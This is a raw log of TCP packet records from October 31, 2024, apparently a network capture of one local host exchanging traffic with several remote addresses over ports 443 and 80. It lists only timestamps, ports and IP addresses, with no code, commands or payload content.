Oct 31, 2024 01:18:50.847301960 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:50.847335100 CET	49975	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:50.851366043 CET	49975	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:50.851385117 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:50.851393938 CET	49975	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:50.851502895 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:50.851531029 CET	443	49975	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:50.851593971 CET	49975	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:50.861886024 CET	443	49980	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.880559921 CET	443	49977	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.880630016 CET	443	49977	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.880678892 CET	49977	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.889822960 CET	443	49976	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.890270948 CET	443	49976	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.890360117 CET	49976	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.899554014 CET	49980	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.899569988 CET	443	49980	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.900146961 CET	49980	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.900151968 CET	443	49980	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.900547981 CET	49977	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.900569916 CET	443	49977	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.900583029 CET	49977	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.900588036 CET	443	49977	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.901895046 CET	49976	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.901909113 CET	443	49976	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.901920080 CET	49976	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.901925087 CET	443	49976	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.907967091 CET	443	49979	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.908083916 CET	443	49979	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.908119917 CET	443	49979	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.908134937 CET	49979	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.908190966 CET	49979	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.908214092 CET	49979	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.908224106 CET	443	49979	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.913779974 CET	49981	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.913829088 CET	443	49981	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.913886070 CET	49981	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.914040089 CET	49981	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.914051056 CET	443	49981	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.914978981 CET	49982	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.914999008 CET	443	49982	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.915149927 CET	49982	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.918917894 CET	49982	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.918929100 CET	443	49982	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.938232899 CET	443	49978	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.938349009 CET	443	49978	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.938402891 CET	49978	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.942115068 CET	49978	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.942115068 CET	49978	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.942125082 CET	443	49978	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.942131042 CET	443	49978	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.949661016 CET	49983	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.949685097 CET	443	49983	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.949938059 CET	49983	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.950972080 CET	49984	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.950979948 CET	443	49984	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.951047897 CET	49984	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.951451063 CET	49984	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.951464891 CET	443	49984	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:50.951694965 CET	49983	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:50.951705933 CET	443	49983	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.027878046 CET	443	49980	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.027950048 CET	443	49980	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.028065920 CET	49980	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.035825968 CET	49980	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.035842896 CET	443	49980	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.035854101 CET	49980	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.035860062 CET	443	49980	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.038477898 CET	49985	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.038494110 CET	443	49985	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.039746046 CET	49985	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.039885044 CET	49985	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.039895058 CET	443	49985	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.168447018 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.173314095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.240334034 CET	49986	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:51.240405083 CET	443	49986	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:51.240478039 CET	49986	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:51.240995884 CET	49986	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:51.241014004 CET	443	49986	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:51.446686983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.446712017 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.446722031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.446732998 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.446760893 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.446777105 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.446788073 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.446796894 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.446800947 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.446810007 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.446814060 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.446846962 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.446958065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.446968079 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.447002888 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.447187901 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.447199106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.447225094 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.447247028 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.451667070 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.451730013 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.451736927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.451792002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.451836109 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.604027033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604042053 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604074001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604090929 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.604129076 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.604129076 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.604140043 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604151964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604162931 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604186058 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.604235888 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.604590893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604603052 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604614019 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604636908 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.604661942 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.604931116 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604943037 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604955912 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604969978 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.604979038 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.605007887 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.605434895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.605447054 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.605458021 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.605482101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.605483055 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.605494022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.605504990 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.605509043 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.605550051 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.606280088 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.606337070 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.606380939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.606391907 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.606403112 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.606415033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.606426954 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.606427908 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.606455088 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.606468916 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.644628048 CET	443	49981	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.645231962 CET	49981	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.645271063 CET	443	49981	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.645741940 CET	49981	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.645750046 CET	443	49981	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.659879923 CET	443	49982	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.660252094 CET	49982	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.660271883 CET	443	49982	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.660708904 CET	49982	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.660713911 CET	443	49982	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.667716026 CET	443	49984	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.668073893 CET	49984	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.668102980 CET	443	49984	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.668500900 CET	49984	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.668507099 CET	443	49984	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.679208994 CET	443	49983	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.679507017 CET	49983	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.679523945 CET	443	49983	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.680119991 CET	49983	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.680128098 CET	443	49983	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.761544943 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.761589050 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.761641979 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.761641979 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.761738062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.761746883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.761791945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.761871099 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.761883974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.761887074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.761887074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.761887074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.761895895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.761909008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.761924982 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.761924982 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.761946917 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.762311935 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762352943 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.762358904 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762368917 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762386084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762396097 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.762397051 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762419939 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.762454987 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.762626886 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762639046 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762649059 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762666941 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762670040 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.762680054 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762692928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762695074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.762705088 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762715101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.762722015 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.762747049 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.763443947 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.763456106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.763467073 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.763478994 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.763489962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.763500929 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.763511896 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.763513088 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.763525963 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.763536930 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.763550997 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.763571024 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.764209986 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.764256001 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.764287949 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.764300108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.764312029 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.764322042 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.764336109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.764338970 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.764348030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.764358044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.764364004 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.764379978 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.764394999 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.764914989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.764925957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.764941931 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.764956951 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.764972925 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.765033007 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.765043974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.765055895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.765068054 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.765079021 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.765079021 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.765091896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.765096903 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.765122890 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.766664982 CET	443	49985	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.766696930 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.766709089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.766720057 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.766803026 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.766803026 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.769685984 CET	49985	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.769695997 CET	443	49985	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.770245075 CET	49985	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.770248890 CET	443	49985	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.775217056 CET	443	49981	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.775532007 CET	443	49981	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.775573969 CET	443	49981	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.775578022 CET	49981	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.775625944 CET	49981	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.775665045 CET	49981	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.775686026 CET	443	49981	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.775702000 CET	49981	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.775708914 CET	443	49981	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.784681082 CET	49987	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.784698009 CET	443	49987	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.784979105 CET	49987	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.785604000 CET	49987	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.785617113 CET	443	49987	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.790699959 CET	443	49982	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.790966034 CET	443	49982	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.791165113 CET	49982	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.791546106 CET	49982	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.791553020 CET	443	49982	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.791563988 CET	49982	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.791568041 CET	443	49982	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.795417070 CET	49988	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:51.795453072 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:51.795519114 CET	49988	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:51.795737982 CET	49988	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:51.795753002 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:51.797024965 CET	49989	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.797053099 CET	443	49989	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.797117949 CET	49989	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.797281981 CET	49989	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.797295094 CET	443	49989	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.800497055 CET	443	49984	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.800695896 CET	443	49984	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.800828934 CET	49984	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.800868034 CET	49984	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.800868034 CET	49984	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.800888062 CET	443	49984	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.800899029 CET	443	49984	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.803191900 CET	49990	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.803214073 CET	443	49990	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.803488970 CET	49990	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.803628922 CET	49990	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.803647041 CET	443	49990	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.809298038 CET	443	49983	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.809354067 CET	443	49983	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.809549093 CET	49983	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.809612989 CET	49983	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.809623957 CET	443	49983	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.809634924 CET	49983	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.809640884 CET	443	49983	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.811702013 CET	49991	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.811722040 CET	443	49991	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.811844110 CET	49991	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.811956882 CET	49991	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.811969995 CET	443	49991	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.895241022 CET	443	49985	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.895261049 CET	443	49985	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.895292044 CET	443	49985	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.895332098 CET	49985	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.895359993 CET	49985	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.898042917 CET	49985	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.898051977 CET	443	49985	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.898063898 CET	49985	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.898067951 CET	443	49985	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.909117937 CET	49992	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.909182072 CET	443	49992	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.909245968 CET	49992	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.909540892 CET	49992	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:51.909559011 CET	443	49992	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:51.919176102 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919195890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919207096 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919231892 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919262886 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919439077 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919450045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919466972 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919476986 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919476986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919487953 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919500113 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919508934 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919511080 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919538975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919539928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919549942 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919559002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919567108 CET	49962	80	192.168.2.5	185.215.113.206
